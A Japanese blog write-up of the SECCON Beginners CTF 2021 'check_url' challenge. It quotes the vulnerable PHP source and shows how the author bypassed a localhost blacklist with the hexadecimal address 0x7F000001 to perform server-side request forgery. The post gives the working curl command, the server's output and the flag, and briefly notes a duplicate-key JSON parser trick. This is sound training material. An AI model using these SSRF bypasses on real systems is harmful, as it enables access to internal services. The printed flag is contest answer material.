Midnight Monologues

日々勉強したことを書いてきます

SECCON Beginners CTF 2021 - Writeup

5/22(土) 14:00 JST~5/23(日) 14:00 JSTに開催されたSECCON Beginners CTF 2021 に会社のチームで参加した。 チームの他の方がスラスラ解くのを横目に1問だけ解いたので、以下にWriteupを記載する。

Web

check_url

Have you ever used  curl  ?  
    
想定難易度: Easy

指定されたURLへアクセスすると入力したURLのサイトを確認する画面が表示される。ソースコードは以下の通り。

<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->

①SSRFを実行し、$_SERVER["REMOTE_ADDR"]で接続したIPが127.0.0.1と判定されればflagが表示される。

            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";

②アクセスしたURLがhttps://www.example.com出ない場合、英数字以外が👻へ置換される。

              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing

③URLにlocalhostまたはapacheの文字が含まれているとdo not hack meで拒否される。

              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");

SSRFに関する参考文献を元に確認してみる。

speakerdeck.com

10スライド目の記載にあるように、例えSuper sanitizingされていてもブラックリスト的な対策は、抜け道が多く突破されてしまう。

127.0.0.1を10進数変換 ⇒ NG (400 エラー)
https://check-url.quals.beginners.seccon.jp/?url=https://2130706433

127.0.0.1を0で表現  ⇒ NG (400 エラー)
https://check-url.quals.beginners.seccon.jp/?url=https://0/

127.0.0.1を16進数変換 ⇒ OK (200)

root@kali:~# curl -k https://check-url.quals.beginners.seccon.jp/?url=https://0x7F000001
<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0"/>
  <title>c(heck)_url</title>

  <!-- CSS  -->
  <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  <link href="css/materialize.min.css" type="text/css" rel="stylesheet" media="screen,projection"/>
  <link href="css/style.css" type="text/css" rel="stylesheet" media="screen,projection"/>
</head>
<body>

  <nav class="light-blue lighten-1" role="navigation">
    <div class="nav-wrapper container">
      <a id="logo-container" href="/" class="brand-logo">c(heck)_url</a>
    </div>
  </nav>

  <div class="section no-pad-bot" id="index-banner">
    <div class="container">
      <br><br>
      <h1 class="header center orange-text">c(heck)_url</h1>
      <div class="row center">
        <h5 class="header col s12 light">
        You can run <b>curl</b> <a href="/?url=https://www.example.com">like this</a>!<br><br>
          Here, take this<br>URL: https://0x7F000001<br><iframe srcdoc='<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0"/>
  <title>c(heck)_url</title>

  <!-- CSS  -->
  <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  <link href="css/materialize.min.css" type="text/css" rel="stylesheet" media="screen,projection"/>
  <link href="css/style.css" type="text/css" rel="stylesheet" media="screen,projection"/>
</head>
<body>

  <nav class="light-blue lighten-1" role="navigation">
    <div class="nav-wrapper container">
      <a id="logo-container" href="/" class="brand-logo">c(heck)_url</a>
    </div>
  </nav>

  <div class="section no-pad-bot" id="index-banner">
    <div class="container">
      <br><br>
      <h1 class="header center orange-text">c(heck)_url</h1>
      <div class="row center">
        <h5 class="header col s12 light">
        You can run <b>curl</b> <a href="/?url=https://www.example.com">like this</a>!<br><br>
          Hi, Admin or SSSSRFer<br>ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}        </h5>
      </div>

    </div>
  </div>


  <!--  Scripts-->
  <script src="https://code.jquery.com/jquery-2.1.1.min.js"></script>
  <script src="js/materialize.min.js"></script>
  <script src="js/init.js"></script>

  </body>
</html>
' width='750' height='500'></iframe>        </h5>
      </div>

    </div>
  </div>


  <!--  Scripts-->
  <script src="https://code.jquery.com/jquery-2.1.1.min.js"></script>
  <script src="js/materialize.min.js"></script>
  <script src="js/init.js"></script>

  </body>
</html>
flag : ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}

解きたかった問題

json (Web) ・・・ユーザからのhttpアクセスをnginxのリバプロで受けて → bff → api の処理とbff上の処理をbypassさせるところまでは理解していた。「2重keyを含むjsonのパーサー解釈不一致」を理解できれば解けていた。{"id":0, "id":2}は試してたけど、{"id":2, "id":0}を試してなかった。 ... orz。チームの他の方が解かれていたので、チームとしては取りこぼし無かったのが救い。
magic (Web) ・・・時間内に取り組めなかったので、復習予定。

感想

check_url にて、SSRF対策はブラックリスト形式はNG であるということが体感出来たので参考になった。